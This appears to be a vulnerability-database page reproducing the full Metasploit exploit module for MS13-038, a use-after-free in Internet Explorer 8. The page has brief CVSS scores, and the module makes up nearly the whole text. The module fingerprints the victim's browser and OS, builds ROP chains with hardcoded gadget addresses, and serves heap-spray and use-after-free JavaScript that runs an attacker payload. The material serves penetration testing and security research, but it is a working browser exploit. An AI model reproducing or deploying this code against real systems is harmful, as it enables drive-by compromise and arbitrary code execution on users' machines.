Lucene search

K
metasploitUnknown, EMH, juan vazquez <[email protected]>, sinn3r <[email protected]>MSF:EXPLOIT-WINDOWS-BROWSER-IE_CGENERICELEMENT_UAF-
HistoryMay 05, 2013 - 5:04 p.m.

MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability

2013-05-0517:04:17
Unknown, EMH, juan vazquez <[email protected]>, sinn3r <[email protected]>
www.rapid7.com
28

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CGenericElement object is freed, but a reference is kept on the Document and used again during rendering, an invalid memory that’s controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild on 2013 May, in the compromise of the Department of Labor (DoL) Website.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "8.0",
    :ua_maxver  => "8.0",
    :javascript => true,
    :os_name    => OperatingSystems::Match::WINDOWS,
    :rank       => GoodRanking
  })

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in Microsoft Internet Explorer. A
        use-after-free condition occurs when a CGenericElement object is freed, but a
        reference is kept on the Document and used again during rendering, an invalid
        memory that's controllable is used, and allows arbitrary code execution under the
        context of the user.

          Please note: This vulnerability has been exploited in the wild on 2013 May, in
        the compromise of the Department of Labor (DoL) Website.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',
          'EMH',
          'juan vazquez',  #RCA
          'sinn3r'         #RCA
        ],
      'References'     =>
        [
          [ 'CVE', '2013-1347' ],
          [ 'OSVDB', '92993' ],
          [ 'MSB', 'MS13-038' ],
          [ 'US-CERT-VU', '237655' ],
          [ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx'],
          [ 'URL', 'http://r-7.co/IE8-DOL' ] # sinn3r's writeup
        ],
      'Payload'        =>
        {
          'BadChars'       => "\x00",
          'Space'          => 1024,
          'DisableNops'    => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 8 on Windows XP SP3',       { 'Rop' => :msvcrt } ],
          [ 'IE 8 on Windows Vista',        { 'Rop' => :jre    } ],
          [ 'IE 8 on Windows Server 2003',  { 'Rop' => :msvcrt } ],
          [ 'IE 8 on Windows 7',            { 'Rop' => :jre    } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2013-05-03',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ])

  end

  def get_target(agent)
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '5.2'
      os_name = 'Windows Server 2003'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    else
      # OS not supported
      return nil
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end

  def get_payload(t, cli)
    rop_payload = ''

    # Extra junk in the end to make sure post code execution is stable.
    p = payload.encoded

    case t['Rop']
    when :msvcrt
      align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
      rop_payload = ''
      if t.name == 'IE 8 on Windows XP SP3'
        rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'xp'})
      elsif t.name == 'IE 8 on Windows Server 2003'
        rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'2003'})
      end

    else
      code  = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
      code << p
      code << rand_text_alpha(12000)

      rop_payload = generate_rop_payload('java', code)
    end

    return rop_payload
  end

  def load_exploit_html(my_target, cli)
    case my_target['Rop']
    when :msvcrt
      case my_target.name
      when 'IE 8 on Windows XP SP3'
        align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
        xchg_esp  = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
      when 'IE 8 on Windows Server 2003'
        align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
        xchg_esp  = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
      end
    else
      align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
      xchg_esp  = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
    end

    padding    = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
    js_payload = Rex::Text.to_unescape(get_payload(my_target, cli))


    html = %Q|
    <!doctype html>
    <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
    <head>
    <meta>
      <?IMPORT namespace="t" implementation="#default#time2">
    </meta>
    <script>
    #{js_mstime_malloc}

    function helloWorld()
    {
      sparkle = unescape("ABCD");
      for (i=0; i < 2; i++) {
        sparkle += unescape("ABCD");
      }
      sparkle += unescape("AB");
      sparkle += unescape("#{js_payload}");
      magenta = unescape("#{align_esp}");
      for (i=0; i < 0x70/4; i++) {
        if (i == 0x70/4-1) { magenta += unescape("#{xchg_esp}"); }
        else               { magenta += unescape("#{align_esp}"); }
      }
      magenta += sparkle;

      document.body.contentEditable="true";
      f0 = document.createElement('span');
      f1 = document.createElement('span');
      f2 = document.createElement('span');
      document.body.appendChild(f0);
      document.body.appendChild(f1);
      document.body.appendChild(f2);
      for (i=0; i < 20; i++) { document.createElement("img"); }
      f2.appendChild(document.createElement('datalist'));
      f1.appendChild(document.createElement('span'));
      CollectGarbage();
      f1.appendChild(document.createElement('table'));
      try      { f0.offsetParent=null;}
      catch(e) { }
      f2.innerHTML = "";
      f1.innerHTML = "";
      f0.appendChild(document.createElement('hr'));
      mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});
    }
    </script>
    </head>
    <body onload="eval(helloWorld());">
    <t:ANIMATECOLOR id="myanim"/>
    </body>
    </html>
    |

    return html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    my_target = get_target(agent)
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    html = load_exploit_html(my_target, cli)
    html = html.gsub(/^ {4}/, '')
    print_status("Sending HTML...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end
end

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H